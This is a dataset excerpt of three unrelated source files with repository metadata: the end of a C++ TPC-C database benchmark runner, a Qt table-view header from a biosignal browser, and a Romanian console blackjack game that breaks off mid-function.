// Entries in the CUSTOMER and ORDER-LINE tables must satisfy the relationship:
// C_BALANCE + C_YTD_PAYMENT = sum(OL_AMOUNT)
// for any randomly selected customers and where OL_DELIVERY_D is not set to a null date/ time
scoped_str_arena s_arena(arena);
try {
for (uint warehouse_id = 1; warehouse_id <= NumWarehouses(); warehouse_id++) {
for (uint district_id = 1; district_id <= NumDistrictsPerWarehouse(); district_id++) {
uint64_t start_pos = 0;
const uint64_t section = 100;
bool boundry_max = false;
while (true) {
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_CONSISTENCY_CHECK);
// CUSTOMER
static_limit_callback<section> customer_c(s_arena.get(), false);
const customer::key k_c_0(warehouse_id, district_id, start_pos);
const customer::key k_c_1(warehouse_id, district_id, boundry_max ? numeric_limits<int32_t>::max() : start_pos + section);
{
tbl_customer(warehouse_id)->scan(txn, Encode(str(), k_c_0), &Encode(str(), k_c_1), customer_c,
s_arena.get());
}
// no tuple found
if (customer_c.size() == 0 && !boundry_max) {
boundry_max = true;
continue;
} else if (boundry_max) {
ALWAYS_ASSERT(customer_c.size() == 0);
break;
}
// check consistency
for (size_t i = 0; i < customer_c.size(); i++) {
// CUSTOMER: C_BALANCE + C_YTD_PAYMENT
customer::key k_c_temp;
const customer::key *k_c = Decode(*customer_c.values[i].first, k_c_temp);
customer::value v_c_temp;
const customer::value *v_c = Decode(*customer_c.values[i].second, v_c_temp);
float c_balance = v_c->c_balance;
float c_ytd_payment = v_c->c_ytd_payment;
// ORDER-LINE: sum(OL_AMOUNT) where where OL_DELIVERY_D not null
// use OORDER_C_ID_IDX to get o_id
static_limit_callback<1000> idx_c(s_arena.get(), false);
const oorder_c_id_idx::key k_oo_idx_0(k_c->c_w_id, k_c->c_d_id, k_c->c_id, 0);
const oorder_c_id_idx::key k_oo_idx_1(k_c->c_w_id, k_c->c_d_id, k_c->c_id, numeric_limits<int32_t>::max());
{
tbl_oorder_c_id_idx(warehouse_id)->scan(txn, Encode(str(), k_oo_idx_0), &Encode(str(), k_oo_idx_1), idx_c, s_arena.get());
}
float sum_ol_amount = 0;
for (size_t j = 0; j < idx_c.size(); j++) {
oorder_c_id_idx::key k_oo_idx_temp;
const oorder_c_id_idx::key *k_oo_idx = Decode(*idx_c.values[j].first, k_oo_idx_temp);
const uint o_w_id = k_oo_idx->o_w_id;
const uint o_d_id = k_oo_idx->o_d_id;
const uint o_id = k_oo_idx->o_o_id;
order_line_check_scan_callback order_line_c;
const order_line::key k_oo_0(o_w_id, o_d_id, o_id, 0);
const order_line::key k_oo_1(o_w_id, o_d_id, o_id, numeric_limits<int32_t>::max());
{
tbl_order_line(warehouse_id)->scan(txn, Encode(str(), k_oo_0), &Encode(str(), k_oo_1), order_line_c,
s_arena.get());
}
sum_ol_amount += order_line_c.get_sum_ol_amount_delivery_not_null();
}
if (fabs(c_balance + c_ytd_payment - sum_ol_amount) > EPSILON) {
// if (verbose)
std::cerr << "warehouse " << warehouse_id
<< " district " << district_id
<< " customer " << k_c->c_id
<< " c_balance=" << c_balance
<< " c_ytd_payment=" << c_ytd_payment
<< " sum_ol_amount=" << sum_ol_amount
<< std::endl;
return false;
}
}
// prepare to check next section
start_pos += section;
}
}
}
return true;
} catch (abstract_db::abstract_abort_exception &ex) {
return false;
}
}
class tpcc_bench_runner : public bench_runner {
private:
static bool
IsTableReadOnly(const char *name)
{
return strcmp("item", name) == 0;
}
static bool
IsTableAppendOnly(const char *name)
{
return strcmp("history", name) == 0 ||
strcmp("oorder_c_id_idx", name) == 0;
}
static vector<abstract_ordered_index *>
OpenTablesForTablespace(abstract_db *db, const char *name, size_t expected_size)
{
const bool is_read_only = IsTableReadOnly(name);
const bool is_append_only = IsTableAppendOnly(name);
const string s_name(name);
vector<abstract_ordered_index *> ret(NumWarehouses());
if (g_enable_separate_tree_per_partition && !is_read_only) {
if (NumWarehouses() <= nthreads) {
for (size_t i = 0; i < NumWarehouses(); i++)
ret[i] = db->open_index(s_name + "_" + to_string(i), expected_size, is_append_only);
} else {
const unsigned nwhse_per_partition = NumWarehouses() / nthreads;
for (size_t partid = 0; partid < nthreads; partid++) {
const unsigned wstart = partid * nwhse_per_partition;
const unsigned wend = (partid + 1 == nthreads) ?
NumWarehouses() : (partid + 1) * nwhse_per_partition;
abstract_ordered_index *idx =
db->open_index(s_name + "_" + to_string(partid), expected_size, is_append_only);
for (size_t i = wstart; i < wend; i++)
ret[i] = idx;
}
}
} else {
abstract_ordered_index *idx = db->open_index(s_name, expected_size, is_append_only);
for (size_t i = 0; i < NumWarehouses(); i++)
ret[i] = idx;
}
return ret;
}
public:
tpcc_bench_runner(abstract_db *db)
: bench_runner(db)
{
#define OPEN_TABLESPACE_X(x) \
partitions[#x] = OpenTablesForTablespace(db, #x, sizeof(x));
TPCC_TABLE_LIST(OPEN_TABLESPACE_X);
#undef OPEN_TABLESPACE_X
for (auto &t : partitions) {
auto v = unique_filter(t.second);
for (size_t i = 0; i < v.size(); i++)
open_tables[t.first + "_" + to_string(i)] = v[i];
}
if (g_enable_partition_locks) {
static_assert(sizeof(aligned_padded_elem<spinlock>) == CACHELINE_SIZE, "xx");
void * const px = memalign(CACHELINE_SIZE, sizeof(aligned_padded_elem<spinlock>) * nthreads);
ALWAYS_ASSERT(px);
ALWAYS_ASSERT(reinterpret_cast<uintptr_t>(px) % CACHELINE_SIZE == 0);
g_partition_locks = reinterpret_cast<aligned_padded_elem<spinlock> *>(px);
for (size_t i = 0; i < nthreads; i++) {
new (&g_partition_locks[i]) aligned_padded_elem<spinlock>();
ALWAYS_ASSERT(!g_partition_locks[i].elem.is_locked());
}
}
if (g_new_order_fast_id_gen) {
void * const px =
memalign(
CACHELINE_SIZE,
sizeof(aligned_padded_elem<atomic<uint64_t>>) *
NumWarehouses() * NumDistrictsPerWarehouse());
g_district_ids = reinterpret_cast<aligned_padded_elem<atomic<uint64_t>> *>(px);
for (size_t i = 0; i < NumWarehouses() * NumDistrictsPerWarehouse(); i++)
new (&g_district_ids[i]) atomic<uint64_t>(3001);
}
}
protected:
virtual vector<bench_loader *>
make_loaders()
{
vector<bench_loader *> ret;
ret.push_back(new tpcc_warehouse_loader(9324, db, open_tables, partitions));
ret.push_back(new tpcc_item_loader(235443, db, open_tables, partitions));
if (enable_parallel_loading) {
fast_random r(89785943);
for (uint i = 1; i <= NumWarehouses(); i++)
ret.push_back(new tpcc_stock_loader(r.next(), db, open_tables, partitions, i));
} else {
ret.push_back(new tpcc_stock_loader(89785943, db, open_tables, partitions, -1));
}
ret.push_back(new tpcc_district_loader(129856349, db, open_tables, partitions));
if (enable_parallel_loading) {
fast_random r(923587856425);
for (uint i = 1; i <= NumWarehouses(); i++)
ret.push_back(new tpcc_customer_loader(r.next(), db, open_tables, partitions, i));
} else {
ret.push_back(new tpcc_customer_loader(923587856425, db, open_tables, partitions, -1));
}
if (enable_parallel_loading) {
fast_random r(2343352);
for (uint i = 1; i <= NumWarehouses(); i++)
ret.push_back(new tpcc_order_loader(r.next(), db, open_tables, partitions, i));
} else {
ret.push_back(new tpcc_order_loader(2343352, db, open_tables, partitions, -1));
}
return ret;
}
virtual vector<bench_worker *>
make_workers()
{
const unsigned alignment = coreid::num_cpus_online();
const int blockstart =
coreid::allocate_contiguous_aligned_block(nthreads, alignment);
ALWAYS_ASSERT(blockstart >= 0);
ALWAYS_ASSERT((blockstart % alignment) == 0);
fast_random r(23984543);
vector<bench_worker *> ret;
if (NumWarehouses() <= nthreads) {
for (size_t i = 0; i < nthreads; i++)
ret.push_back(
new tpcc_worker(
blockstart + i,
r.next(), db, open_tables, partitions,
&barrier_a, &barrier_b,
(i % NumWarehouses()) + 1, (i % NumWarehouses()) + 2));
} else {
const unsigned nwhse_per_partition = NumWarehouses() / nthreads;
for (size_t i = 0; i < nthreads; i++) {
const unsigned wstart = i * nwhse_per_partition;
const unsigned wend = (i + 1 == nthreads) ?
NumWarehouses() : (i + 1) * nwhse_per_partition;
ret.push_back(
new tpcc_worker(
blockstart + i,
r.next(), db, open_tables, partitions,
&barrier_a, &barrier_b, wstart+1, wend+1));
}
}
return ret;
}
virtual std::vector<bench_checker*> make_checkers()
{
std::vector<bench_checker*>* bw = new std::vector<bench_checker*>();
bw->push_back(new tpcc_bench_checker(db, open_tables, partitions));
return *bw;
}
private:
map<string, vector<abstract_ordered_index *>> partitions;
};
void
tpcc_do_test(abstract_db *db, int argc, char **argv)
{
// parse options
optind = 1;
bool did_spec_remote_pct = false;
while (1) {
static struct option long_options[] =
{
{"user-initial-abort-rate" , required_argument , 0 , 'a'} ,
{"disable-cross-partition-transactions" , no_argument , &g_disable_xpartition_txn , 1} ,
{"disable-read-only-snapshots" , no_argument , &g_disable_read_only_scans , 1} ,
{"enable-partition-locks" , no_argument , &g_enable_partition_locks , 1} ,
{"enable-separate-tree-per-partition" , no_argument , &g_enable_separate_tree_per_partition , 1} ,
{"new-order-remote-item-pct" , required_argument , 0 , 'r'} ,
{"new-order-fast-id-gen" , no_argument , &g_new_order_fast_id_gen , 1} ,
{"uniform-item-dist" , no_argument , &g_uniform_item_dist , 1} ,
{"order-status-scan-hack" , no_argument , &g_order_status_scan_hack , 1} ,
{"workload-mix" , required_argument , 0 , 'w'} ,
{0, 0, 0, 0}
};
int option_index = 0;
int c = getopt_long(argc, argv, "r:w:u", long_options, &option_index);
if (c == -1)
break;
switch (c) {
case 0:
if (long_options[option_index].flag != 0)
break;
abort();
break;
case 'r':
g_new_order_remote_item_pct = strtoul(optarg, NULL, 10);
ALWAYS_ASSERT(g_new_order_remote_item_pct >= 0 && g_new_order_remote_item_pct <= 100);
did_spec_remote_pct = true;
break;
case 'w':
{
const vector<string> toks = split(optarg, ',');
ALWAYS_ASSERT(toks.size() == ARRAY_NELEMS(g_txn_workload_mix));
unsigned s = 0;
for (size_t i = 0; i < toks.size(); i++) {
unsigned p = strtoul(toks[i].c_str(), nullptr, 10);
ALWAYS_ASSERT(p >= 0 && p <= 100);
s += p;
g_txn_workload_mix[i] = p;
}
ALWAYS_ASSERT(s == 100);
}
break;
case 'a':
{
g_user_initial_abort_rate = strtoul(optarg, NULL, 0);
ALWAYS_ASSERT(g_user_initial_abort_rate >= 0 && g_user_initial_abort_rate <= 100);
fprintf(stderr, "user initial abort %d%%\n", g_user_initial_abort_rate);
break;
}
case '?':
/* getopt_long already printed an error message. */
exit(1);
default:
abort();
}
}
if (did_spec_remote_pct && g_disable_xpartition_txn) {
cerr << "WARNING: --new-order-remote-item-pct given with --disable-cross-partition-transactions" << endl;
cerr << " --new-order-remote-item-pct will have no effect" << endl;
}
if (verbose) {
cerr << "tpcc settings:" << endl;
cerr << " cross_partition_transactions : " << !g_disable_xpartition_txn << endl;
cerr << " read_only_snapshots : " << !g_disable_read_only_scans << endl;
cerr << " partition_locks : " << g_enable_partition_locks << endl;
cerr << " separate_tree_per_partition : " << g_enable_separate_tree_per_partition << endl;
cerr << " new_order_remote_item_pct : " << g_new_order_remote_item_pct << endl;
cerr << " new_order_fast_id_gen : " << g_new_order_fast_id_gen << endl;
cerr << " uniform_item_dist : " << g_uniform_item_dist << endl;
cerr << " order_status_scan_hack : " << g_order_status_scan_hack << endl;
cerr << " workload_mix : " <<
format_list(g_txn_workload_mix,
g_txn_workload_mix + ARRAY_NELEMS(g_txn_workload_mix)) << endl;
}
cgraph = init_tpcc_cgraph();
tpcc_bench_runner r(db);
if (dynamic_workload)
r.dynamic_run();
else if (kid_end > 0)
r.training_run(policies_to_eval);
else
r.run();
#ifdef STOCK_PROF
if(stock_abort.load() == 0)
stock_abort.store(1);
fprintf(stderr, "stock profie: neworder %ld stock %ld beg %ld end %ld retry %ld get %ld put %ld #succ: %d #abort: %d\n",
neworder_time.load()/(stock_succ.load()),
stock_time.load()/(stock_succ.load()),
stock_beg.load()/(stock_succ.load() + stock_abort.load()),
stock_end.load()/(stock_succ.load()),
stock_retry.load()/(stock_abort.load()),
stock_get.load()/(stock_succ.load() + stock_abort.load()),
stock_put.load()/(stock_succ.load() + stock_abort.load()),
stock_succ.load(), stock_abort.load());
#endif
}
|
[
"dingd2015@sjtu.edu.cn"
] |
dingd2015@sjtu.edu.cn
|
677907a542a56f43d2ffc11c8d5b9d95e65f0ce6
|
36e63cd62b70943df6c47f904dfa8a666bb77ad7
|
/src/signalview.h
|
35e48f1f613dcc593c4930cc07f337822731c060
|
[] |
no_license
|
BioSignalML/biosignalml-browserlib
|
8784506f51c70cdc97b80f11c070fe63f1ecb9db
|
3f08c4b869d6824cd57dc0e57af9820c837169cd
|
refs/heads/master
| 2023-08-30T23:07:32.650547
| 2015-12-17T19:15:42
| 2015-12-17T19:15:42
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,796
|
h
|
/*****************************************************************************
* *
* BioSignalML Browser in C++ *
* *
* Copyright (c) 2014-2015 David Brooks *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
*****************************************************************************/
#ifndef BROWSER_SIGNALVIEW_H
#define BROWSER_SIGNALVIEW_H
#include <QStyledItemDelegate>
#include <QTableView>
namespace browser {
class SignalItem : public QStyledItemDelegate
/*=========================================*/
{
public:
SignalItem(QObject *parent = nullptr) ;
/**
* Paint a centered checkbox in the first column of the table
* and draw a line underneath each table row,
*/
void paint(QPainter *painter, const QStyleOptionViewItem &option,
const QModelIndex &index) const ;
/**
Toggle checkbox on mouse click and key press.
*/
bool editorEvent(QEvent *event, QAbstractItemModel *model,
const QStyleOptionViewItem &option, const QModelIndex &index) ;
} ;
class SignalView : public QTableView
/*================================*/
{
Q_OBJECT
public:
SignalView(QWidget *parent) ;
void mousePressEvent(QMouseEvent *event) ;
void mouseMoveEvent(QMouseEvent *event) ;
void mouseReleaseEvent(QMouseEvent *event) ;
public slots:
void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected) ;
signals:
void rowSelected(int) ; // row, -1 means clear
private:
int m_selectedrow ;
} ;
} ;
#endif
|
[
"dave@bcs.co.nz"
] |
dave@bcs.co.nz
|
925279b672c7b06a643754a27d0d8c04349811df
|
65df1be5e62af97ae57616a717a3e6c4710dd8ae
|
/FINAL!!!!!!!!!!!!/FINAL!!!!!!!!!!!!/FINAL!!!!!!!!!!!!.cpp
|
778895958b568f3789d18738897119de25690f5a
|
[] |
no_license
|
cojocariubogdan/bl
|
81a308d8bf449465bdd8fe425125249b791190ce
|
3b7cc954c902a8726109738bbe3bbf8a1992914a
|
refs/heads/master
| 2021-01-13T14:05:44.086510
| 2017-01-13T21:31:09
| 2017-01-13T21:31:09
| 76,174,165
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 17,814
|
cpp
|
#include "stdafx.h"
#include <iostream>
#include <ctime>
#include <fstream>
#include <string>
#include <algorithm>
#include <stdlib.h>
using namespace std;
const string suitnames[4] = { "frunza", "romb", "trefla", "inima" };
const string ranknames[13] = { "As", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Valet", "Dama", "Rege" };
bool isDealt[52];
int deck[52];
void amestecare(bool isDealt[]);
int value(int number);
void playerVScomputer(int deck[], char *name1, int &amount);
void playerVSplayer(int deck[], char *name1, char *name2, int &money1, int &money2);
int ScoreHand(int Hand[], int number);
void printCards(int deck[], int i);
int GetNewCard(bool isDealt[]);
void PrintHand(int Hand[], int number);
int minim(int a, int b, int c);
void wins(const char * output_file_name);
void loses(const char * output_file_name);
void draw(const char *output_file_name);
int countf(const char *input_file_name);
void history(const char *input_file_name);
void historypvp(const char *input_file_name);
void intro();
void rules();
int main()
{
srand(time(NULL));
intro();
cout << "Apasati ENTER pentru a contiunua!" << endl;
cin.get();
int i;
for (i = 0; i < 52; i++)
deck[i] = i;
int amount;
char option[1];
system("COLOR 6");
asd: cout << "Selecteaza optiunea: " << endl;
cout << " _________________________________" << endl;
cout << " | |" << endl;
cout << " |1. Reguli |" << endl;
cout << " |2. Jucator vs. Calculator |" << endl;
cout << " |3. Jucator vs. Jucator |" << endl;
cout << " |4. Istoric |" << endl;
cout << " |5. Jucator vs. Jucator istoric |" << endl;
cout << " |6. Iesire joc. |" << endl;
cout << " |________________________________|" << endl;
cin >> option;
while (atoi(option) < 1 || atoi(option) > 6)
{
cout << "Introdu o valoare intre 1-6 ! " << endl;
cin >> option;
}
if (option[0] == '1')
{
rules();
cout << endl;
cout << "Apasati ENTER pentru a merge la meniu!" << endl;
cin.get();
cout << endl;
cin.get();
system("cls");
goto asd;
}
char name[50];
if (option[0] == '2')
{
cout << "Introdu numele cu care joci :" << endl;
cin >> name;
cout << "Introdu suma cu care vrei sa joci :" << endl;
cin >> amount;
cout << "Suma pe care o ai in acest moment este :" << amount << "$" << endl;
char valid;
playerVScomputer(deck, name, amount);
do
{
cout << "Doresti sa joci din nou ?" << endl;
cout << " Da(d) / Nu(n) " << endl;
cin >> valid;
system("cls");
if (valid == 'n' || valid == 'N')
exit(0);
playerVScomputer(deck, name, amount);
} while (valid == 'd' && amount != 0);
if (amount == 0)
cout << "Imi pare rau , dar ai pierdut toti bani!!!" << endl;
}
int money1 = 0;
int money2 = 0;
char name1[50], name2[50];
if (option[0] == '3')
{
system("cls");
cout << "Ai ales modul jucator vs jucator!!!!" << endl;
cout << "Introduceti numele primului jucator : " << endl;
cin >> name1;
cout << "Introduceti numele celui de-al doilea jucator: " << endl;
cin >> name2;
cout << endl;
cout << "Introduceti suma cu care vrea primul si al doilea jucator sa joace: " << endl;
cin >> money1;
money2 = money1;
cout << "Sunteti amandoi inregistrati cu suma: " << money1 << " $" << endl;
playerVSplayer(deck, name1, name2, money1, money2);
char valid;
do
{
cout << "Vrei sa joci din nou?" << endl;
cout << " DA(d) / NU(n) " << endl;
cin >> valid;
if (valid == 'n' || valid == 'N')
exit(0);
playerVSplayer(deck, name1, name2, money1, money2);
} while (valid == 'd' && money1 != 0 && money2 != 0); {
if (money1 == 0)
cout << name1 << " a pierdut toti bani!" << endl;
if (money2 == 0)
cout << name2 << " a pierdut toti bani!" << endl;
}
}
if (option[0] == '4')
{
history("scores.txt");
cout << "Apasati enter pentru a continua!!" << endl;
cin.get();
cin.get();
system("cls");
goto asd;
}
if (option[0] == '5')
{
historypvp("istoricpvp.txt");
cout << "Apasati enter pentru a te intoarce la meniu!" << endl;
cin.get();
cin.get();
system("cls");
goto asd;
}
if (option[0] == '6')
{
cout << endl;
exit(0);
}
}
int value(int number)
{
int value = 0;
int rest = number % 13;
if (rest == 0)
value = 1;
else
if (rest >= 1 && rest <= 9)
value = rest + 1;
else
value = 10;
return value;
}
void intro()
{
system("COLOR 4");
cout << " _____ __ _ _ " << endl;
cout << "(_____)(__) (_) _ _ (_) _ " << endl;
cout << "(_)__(_)(_) ____ ___ (_)(_) (_) ____ ___ (_)(_) " << endl;
cout << "(_____) (_) (____) _(___)(___) _ (____) _(___)(___) " << endl;
cout << "(_)__(_)(_)( )_( )(_)___ (_)(_) (_)( )_( )(_)___ (_)(_) " << endl;
cout << "(_____)(___)(__)_) (____)(_) (_)_ (_) (__)_) (____)(_) (_) " << endl;
cout << " ( )_(_) " << endl;
cout << " (___) " << endl;
}
void rules()
{
system("COLOR 4");
cout << " _________________R_E_G_U_L_I__________________" << endl;
cout << " ##############################################" << endl;
cout << " Blackjack este un joc popular din America, obiectivul" << endl;
cout << " jocului este atingerea unui scor cat mai apropiat de 21. " << endl;
cout << " Acest lucru trebuie realizat fara a depasi aceasta valoare," << endl;
cout << " in caz contrar mana fiind considerata depasita " << endl;
cout << " Daca nu ajungi la 21, obiectivul jocului este " << endl;
cout << " sa obtii un scor mai mare decat al calculatorului respectiv a jucatorului." << endl;
cout << " ________________________________________________" << endl;
}
void amestecare(bool isDealt[])
{
for (int i = 0; i<52; i++)
isDealt[i] = false;
}
int ScoreHand(int Hand[], int number)
{
int i;
int score = 0;
int aces = 0;
for (i = 0; i<number; i++)
{
int valuen = value(Hand[i]);
if (valuen == 1)
aces++;
score = score + valuen;
}
while (aces > 0 && score < 12)
{
aces = aces - 1;
score = score + 10;
}
return score;
}
void PrintHand(int Hand[], int number)
{
for (int i = 0; i<number; i++)
printCards(deck, Hand[i]);
}
int GetNewCard(bool isDealt[])
{
bool isCard = true;
int NewCard;
do
{
NewCard = rand() % 52;
if (!isDealt[isCard])
isCard = false;
} while (isCard);
return NewCard;
}
void printCards(int deck[], int i)
{
int suitnumber = deck[i] / 13;
int rank = deck[i] % 13;
cout << ranknames[rank] << " de " << suitnames[suitnumber];
cout << "\n";
}
int minim(int a, int b, int c)
{
if (a < b)
{
if (a < c)
return a;
else
return c;
}
else
{
if (b < c)
return b;
else
return c;
}
}
void wins(const char * output_file_name)
{
ofstream fout(output_file_name, ios::app);
fout << "1" << endl;
fout.close();
}
void loses(const char * output_file_name)
{
ofstream fout(output_file_name, ios::app);
fout << "0" << endl;
fout.close();
}
void draw(const char *output_file_name)
{
ofstream fout(output_file_name, ios::app);
fout << "2" << endl;
fout.close();
}
void playerVScomputer(int deck[], char *name, int &amount)
{
int bet;
cout << "Cat vrei sa pariezi?" << endl;
cin >> bet;
while (bet < 0 || bet > amount)
{
cout << "Introduceti o suma intre 1$ - " << amount << endl;
cin >> bet;
}
cin.get();
cin.get();
system("cls");
amestecare(isDealt);
int HouseHand[12];
int HouseCards = 0;
int PlayerHand[12];
int PlayerCard = 0;
int score = 0;
int houseScore = 0;
PlayerHand[0] = GetNewCard(isDealt);
PlayerHand[1] = GetNewCard(isDealt);
HouseHand[0] = GetNewCard(isDealt);
HouseHand[1] = GetNewCard(isDealt);
PlayerCard += 2;
HouseCards += 2;
score = ScoreHand(PlayerHand, PlayerCard);
houseScore = ScoreHand(HouseHand, HouseCards);
cout << "****************************" << endl;
cout << "Hai sa incepem!! " << endl;
cout << "****************************" << endl;
cin.get();
system("cls");
cout << "Primele 2 carti sunt :" << endl;
PrintHand(PlayerHand, PlayerCard);
cout << "Punctele tale sunt :" << score;
cout << "\n\n\n";
cout << "A doua carte a dealarului este :" << endl;
printCards(deck, HouseHand[1]);
cout << "\n\n\n";
char choice;
bool hit = false;
do
{
cout << "\n Doresti o alta carte?" << endl;
cout << " Da (d) / Nu (n) " << endl;
cout << "Introdu alegerea ta !" << endl;
cin >> choice;
if (choice == 'n' || choice == 'N')
break;
if (choice == 'd' || choice == 'D')
hit = true;
PlayerHand[PlayerCard] = GetNewCard(isDealt);
PlayerCard++;
system("cls");
cout << "Ai primit o noua carte!" << endl;
cout << "Cartile tale de pana acum sunt: " << endl;
PrintHand(PlayerHand, PlayerCard);
cout << endl;
score = ScoreHand(PlayerHand, PlayerCard);
cout << "Scorul tau pana acum este: " << score << '\n';
} while (hit && score < 22);
cin.get();
system("cls");
PrintHand(PlayerHand, PlayerCard);
cout << "Scorul tau este: " << score << "! \n\n\n";
if (score > 21)
{
cout << "Imi pare rau. Ai pierdut!!! " << endl;
cout << "Ai pierdut : " << bet << "$!" << endl;
amount = amount - bet;
loses("scores.txt");
cout << endl << endl << endl;
return;
}
if (houseScore >= 17)
{
cout << "\n\n\n";
cout << "Cartile dealarului sunt: \n";
PrintHand(HouseHand, HouseCards);
houseScore = ScoreHand(HouseHand, HouseCards);
cout << "Scorul dealarului este " << houseScore;
cout << endl << endl << endl;
}
if (houseScore < 17)
{
while (houseScore < 17)
{
HouseHand[HouseCards] = GetNewCard(isDealt);
HouseCards++;
houseScore = ScoreHand(HouseHand, HouseCards);
}
cout << "Cartile dealerului sunt : " << endl;
PrintHand(HouseHand, HouseCards);
cout << "\n Scorul dealarului este: " << houseScore << endl;
cout << endl << endl << endl;
}
if (houseScore > 21)
{
cout << "Felicitari!! Ai castigat :" << bet << "$!" << endl;
amount = amount + bet;
wins("scores.txt");
return;
cout << endl << endl << endl;
}
houseScore = ScoreHand(HouseHand, HouseCards);
if (score == houseScore)
{
cout << "Este egalitate! \n";
cout << endl << endl << endl;
draw("scores.txt");
}
else
if (score == 21 && houseScore != 21)
{
cout << "Felicitari tocmai ai castigat cu 21 de puncte!!!!!!" << endl;
cout << "Ai castigat:" << bet << "$ !" << endl;
amount = amount + bet;
wins("scores.txt");
cout << endl << endl << endl;
}
else
if (houseScore == 21 && score != 21)
{
cout << "Imi pare rau ai pierdut!!!!" << endl;
cout << "Ai pierdut: " << bet << "$ !" << endl;
amount = amount - bet;
loses("scores.txt");
cout << endl << endl << endl;
}
else
if (21 - score > 21 - houseScore)
{
cout << "Imi pare rau ai pierdut!!! " << endl;
cout << "Ai pierdut:" << bet / 2 << "$ !" << endl;
amount = amount - bet / 2;
loses("scores.txt");
cout << endl << endl << endl;
}
else
if (21 - score < 21 - houseScore)
{
cout << "Bravo!!! Ai castigat!! " << endl;
cout << "Ai castigat: " << bet << "$! " << endl;
wins("scores.txt");
cout << endl << endl << endl;
}
}
int countf(const char *input_file_name)
{
ifstream fin(input_file_name, ios::in);
int nr = 0;
while (!fin.eof())
{
char c;
fin.get(c);
if (isdigit(c))
nr++;
}
fin.close();
return nr;
}
void history(const char * input_file_name)
{
ifstream fin("scores.txt", ios::in);
int number = countf("scores.txt");
while (!fin.eof())
{
char c;
fin.get(c);
if (c == '0')
{
cout << number << ") INFRANGERE!!" << endl;
number--;
}
else
if (c == '1')
{
cout << number << ") VICTORIE" << endl;
number--;
}
else
if (c == '2')
{
cout << number << ") EGALITATE" << endl;
number--;
}
}
fin.close();
}
void playerVSplayer(int deck[], char *name1, char *name2, int &money1, int &money2)
{
int bet;
amestecare(isDealt);
cout << "Alegeti suma pe care vreti s-o pariati?" << endl;
cin >> bet;
while (bet < 0 || bet > money1 || bet > money2)
{
cout << "Introduceti o suma intre 1$ - " << min(money1, money2) << endl;
cin >> bet;
}
cin.get();
cin.get();
system("cls");
int stplayerHand[11];
int stplayerCards = 0;
int ndplayerHand[11];
int ndplayerCards = 0;
int houseHand[11];
int houseCards = 0;
stplayerHand[0] = GetNewCard(isDealt);
ndplayerHand[0] = GetNewCard(isDealt);
stplayerHand[1] = GetNewCard(isDealt);
ndplayerHand[1] = GetNewCard(isDealt);
houseHand[0] = GetNewCard(isDealt);
houseHand[1] = GetNewCard(isDealt);
stplayerCards += 2;
ndplayerCards += 2;
houseCards += 2;
int stTotal = ScoreHand(stplayerHand, stplayerCards);
int ndTotal = ScoreHand(ndplayerHand, ndplayerCards);
int houseTotal = ScoreHand(houseHand, houseCards);
cout << "****************************" << endl;
cout << "Sa incepem jocul!!!!!!!! " << endl;
cout << "****************************" << endl;
cin.get();
system("cls");
cout << "Prima carte a dealarului este: " << endl;
printCards(deck, houseHand[1]);
cout << endl;
cout << "Este randul lui: " << name1 << endl;
cout << endl;
cout << "Primel 2 carti ale lui " << name1 << " sunt: " << endl;
PrintHand(stplayerHand, stplayerCards);
cout << endl;
cout << "Scorul tau total pana acum este : " << stTotal << endl;
char choice;
bool ok = false;
do
{
cout << "\n\n Vrei o alta carte ?" << endl;
cout << " DA (d) / NU (n) " << endl;
cout << "Introduceti aici optiunea aleasa!" << endl;
cin >> choice;
if (choice == 'n' || choice == 'N')
break;
if (choice == 'd' || choice == 'D')
ok = true;
stplayerHand[stplayerCards] = GetNewCard(isDealt);
stplayerCards++;
system("cls");
cout << "Cartile tale sunt ";
PrintHand(stplayerHand, stplayerCards);
stTotal = ScoreHand(stplayerHand, stplayerCards);
cout << "Scorul tau total pana acum este: " << stTotal;
cout << endl;
} while (ok && stTotal < 22);
system("cls");
PrintHand(stplayerHand, stplayerCards);
cout << endl;
cout << name1 << " are scorul: " << stTotal << " \n\n\n";
cout << "Este randul lui " << name2 << endl;
cout << name2 << " are urmatoarele carti : " << endl;
PrintHand(ndplayerHand, ndplayerCards);
cout << endl;
cout << "Scorul tau total pana acum este: " << ndTotal << endl;
bool hit = false;
do
{
cout << " Vrei o alta carte?" << endl;
cout << " DA (d) / NU (n) " << endl;
cout << "Introdu optiunea aici: " << endl;
cin >> choice;
if (choice == 'n' || choice == 'N')
break;
if (choice == 'd' || choice == 'D')
hit = true;
ndplayerHand[ndplayerCards] = GetNewCard(isDealt);
ndplayerCards++;
system("cls");
PrintHand(ndplayerHand, ndplayerCards);
ndTotal = ScoreHand(ndplayerHand, ndplayerCards);
cout << "Scorul total pana acum este: " << ndTotal;
cout << endl;
} while (hit && ndTotal < 22);
system("cls");
cout << name1 << " are urmatorul scor : " << stTotal;
cout << endl << endl << endl;
cout << name2 << " are urmatoarele carti : " << endl;
PrintHand(ndplayerHand, ndplayerCards);
cout << endl;
cout << name2 << " are urmatorul punctaj: " << ndTotal;
cout << endl << endl << endl;
if (houseTotal >= 17)
{
cout << "Cartile dealarului sunt : " << endl;
PrintHand(houseHand, houseCards);
}
if (houseTotal < 17)
{
while (houseTotal < 17)
{
houseHand[houseCards] = GetNewCard(isDealt);
houseCards++;
houseTotal = ScoreHand(houseHand, houseCards);
}
cout << "Cartile dealarului sunt: " << endl;
PrintHand(houseHand, houseCards);
cout << "Scorul dealarului este: " << houseTotal << endl;
}
int a, b, c;
if (stTotal > 21)
stTotal = -1 * stTotal;
if (ndTotal > 21)
ndTotal = -1 * ndTotal;
if (houseTotal > 21)
houseTotal = -1 * houseTotal;
a = 21 - stTotal;
b = 21 - ndTotal;
c = 21 - houseTotal;
if (stTotal == ndTotal && ndTotal == houseTotal)
cout << "Este egalitate!" << endl;
else
if (stTotal == ndTotal && stTotal != houseTotal)
cout << "Este egalitate!! " << name1 << " si " << name2 << " au acelasi scor!" << endl;
else
